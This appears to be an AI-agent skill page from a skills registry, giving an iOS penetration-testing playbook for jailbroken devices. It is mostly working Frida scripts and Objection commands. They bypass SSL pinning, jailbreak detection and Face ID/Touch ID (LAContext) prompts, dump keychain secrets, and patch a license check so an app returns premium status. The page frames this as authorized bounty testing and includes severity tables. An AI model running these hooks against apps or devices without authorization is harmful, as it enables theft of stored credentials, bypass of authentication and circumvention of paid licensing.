iOS dynamic instrumentation on jailbroken device — Frida/Objection setup, SSL Kill Switch pinning bypass, jailbreak-detection bypass, keychain dump, biometric/LAContext bypass, and ObjC runtime method hooking.
68
82%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Jailbroken device required for full Frida/Objection access. Most enterprise and bounty-program iOS testing falls here. For static-only analysis (no jailbreak) see
reverser/ios-static/SKILL.md.
uname -v in SSH.# SSH to device (default Cydia SSH cred: alpine)
ssh root@<device-ip>
# Verify jailbreak + SSH works
id # should return uid=0(root)
uname -vpip install frida-tools objectionfrida-ps -U # lists processes on USB-connected deviceInstall via Cydia/Sileo (search "SSL Kill Switch 2" or "SSL Kill Switch 3" for iOS 15+). Toggle per-app in Settings → SSL Kill Switch. Relaunch the app; verify traffic appears in Burp (set device proxy to Burp listener IP:8080, install Burp CA as trusted profile via Settings → General → VPN & Device Management).
# Attach to running app
objection --gadget "TargetApp" explore
# In the Objection REPL:
ios sslpinning disable
# Verify: open the app, check Burp proxy for decrypted HTTPS# Universal iOS pinning bypass (covers NSURLSession, Alamofire, AFNetworking)
frida -U -f com.target.bundle \
--codeshare "wan-make/ios-ssl-pinning-bypass" \
--no-pause
# TrustKit-specific bypass
frida -U -f com.target.bundle \
--codeshare "machorka/trustkit-bypass" \
--no-pause// Hook SecTrustEvaluate + SecTrustEvaluateWithError
// Load with: frida -U -f com.target -l bypass-pin.js
if (ObjC.available) {
var SecTrustEvaluateWithError = Module.findExportByName(
"Security", "SecTrustEvaluateWithError");
if (SecTrustEvaluateWithError) {
Interceptor.replace(SecTrustEvaluateWithError,
new NativeCallback(function(trust, error) {
if (error !== 0) Memory.writePointer(error, ptr(0));
return 1; // errSecSuccess
}, 'int', ['pointer', 'pointer']));
}
}Verify in Burp: HTTPS traffic from the target app appears decrypted.
objection --gadget "TargetApp" explore
# Disable JB detection (covers fileExistsAtPath Cydia checks + fork())
ios jailbreak disable| Pattern | API to hook |
|---|---|
File presence (/Applications/Cydia.app, /bin/bash) | NSFileManager fileExistsAtPath: |
URL scheme (cydia://) | UIApplication canOpenURL: |
fork() syscall return | fork (libc) |
/proc/self/maps inspection | open / fopen |
| Dyld image name scan | _dyld_get_image_name |
// Frida: hook fileExistsAtPath to suppress JB file checks
var NSFileManager = ObjC.classes.NSFileManager;
var orig = NSFileManager["- fileExistsAtPath:"].implementation;
Interceptor.replace(orig, ObjC.implement(
NSFileManager["- fileExistsAtPath:"],
function(self, sel, path) {
var p = ObjC.Object(path).toString();
var jbPaths = ["/Applications/Cydia.app", "/bin/bash",
"/usr/sbin/sshd", "/etc/apt", "/private/var/lib/apt/"];
for (var i = 0; i < jbPaths.length; i++) {
if (p.indexOf(jbPaths[i]) !== -1) return 0; // false
}
return orig(self, sel, path);
}
));Install Liberty Lite or A-Bypass from Cydia/Sileo → enable per-app toggle before launch. Faster than scripting for commodity JB checks.
objection --gadget "TargetApp" explore
# Dump all items accessible in app context
ios keychain dump
# Output: account, service, access group, kSecAttrAccessible class, value// Log every keychain query result
var SecItemCopyMatching = Module.findExportByName(
"Security", "SecItemCopyMatching");
Interceptor.attach(SecItemCopyMatching, {
onEnter: function(args) { this.result = args[1]; },
onLeave: function(retval) {
if (retval.toInt32() === 0 && !this.result.isNull()) {
var items = new ObjC.Object(this.result.readPointer());
console.log("[KC]", items.toString());
}
}
});kSecAttrAccessible misconfig findings| Value | Finding |
|---|---|
kSecAttrAccessibleAlways | Critical — readable without unlock, even after reboot |
kSecAttrAccessibleAlwaysThisDeviceOnly | High — readable without unlock |
kSecAttrAccessibleAfterFirstUnlock | Medium if secrets are high-value |
kSecAttrAccessibleWhenUnlocked | Acceptable baseline |
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly | Secure — requires passcode |
// Bypass LAContext biometric prompt — returns kLAErrorSuccess
var LAContext = ObjC.classes.LAContext;
Interceptor.attach(
LAContext["- evaluatePolicy:localizedReason:reply:"].implementation,
{
onEnter: function(args) {
// args[3] = reply block (id, NSError*)
var replyBlock = new ObjC.Block(args[3]);
var origImpl = replyBlock.implementation;
replyBlock.implementation = function(success, error) {
origImpl(1, null); // force success=YES, error=nil
};
}
}
);objection --gadget "TargetApp" explore
ios ui biometrics_bypass// Example: patch -[LicenseManager isPremiumUser] to return YES
Java.perform(function() {}); // no-op; use ObjC.available block
var LicenseMgr = ObjC.classes.LicenseManager;
if (LicenseMgr && LicenseMgr["- isPremiumUser"]) {
Interceptor.replace(
LicenseMgr["- isPremiumUser"].implementation,
ObjC.implement(LicenseMgr["- isPremiumUser"], function(self, sel) {
console.log("[+] isPremiumUser hooked -> returning YES");
return 1;
})
);
}# One-liner attach to running process
frida -U -n TargetApp -e "ObjC.classes.LicenseManager['- isPremiumUser'].implementation = ObjC.implement(ObjC.classes.LicenseManager['- isPremiumUser'], function(self,sel){return 1;});"Capture Burp traffic screenshot showing decrypted HTTPS after pinning
bypass. Save keychain dump to /workspace/evidence/mobile/<bundle-id>/keychain.txt.
kg_add_node(
kind="finding",
label="iOS SSL pinning bypassable",
props={
"key": f"ios-ssl-pin::{bundle_id}",
"severity": "high",
"cvss": 7.4,
"bundle_id": bundle_id,
"bypass_method": "objection+ssl-kill-switch",
"traffic_captured": True,
},
)
kg_add_node(
kind="finding",
label="iOS keychain kSecAttrAccessibleAlways item",
props={
"key": f"ios-keychain-acl::{bundle_id}",
"severity": "critical",
"service": "<service-name>",
"account": "<account-name>",
"accessible_class": "kSecAttrAccessibleAlways",
},
)Two-method evidence per finding:
ios keychain dump output showing
kSecAttrAccessibleAlways class + sensitive value.frida-agent in
the dyld image list. Counter: Frida Gadget injection via
objection patchipa or optool (embed Gadget, re-sign with
codesign).palera1n tethered jailbreak: device reboots to unjailbroken state;
re-jailbreak each power cycle during long engagements.| Bug | Severity |
|---|---|
Keychain kSecAttrAccessibleAlways with auth token | Critical 9.5 |
| SSL pinning fully absent or bypassable without JB | High 8.0 |
| Jailbreak detection absent | Informational |
| Biometric bypass exposing auth flow | High 7.5 |
kSecAttrAccessibleAfterFirstUnlock with secrets | Medium 5.5 |
reverser/ios-static/SKILL.md31e1c8e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.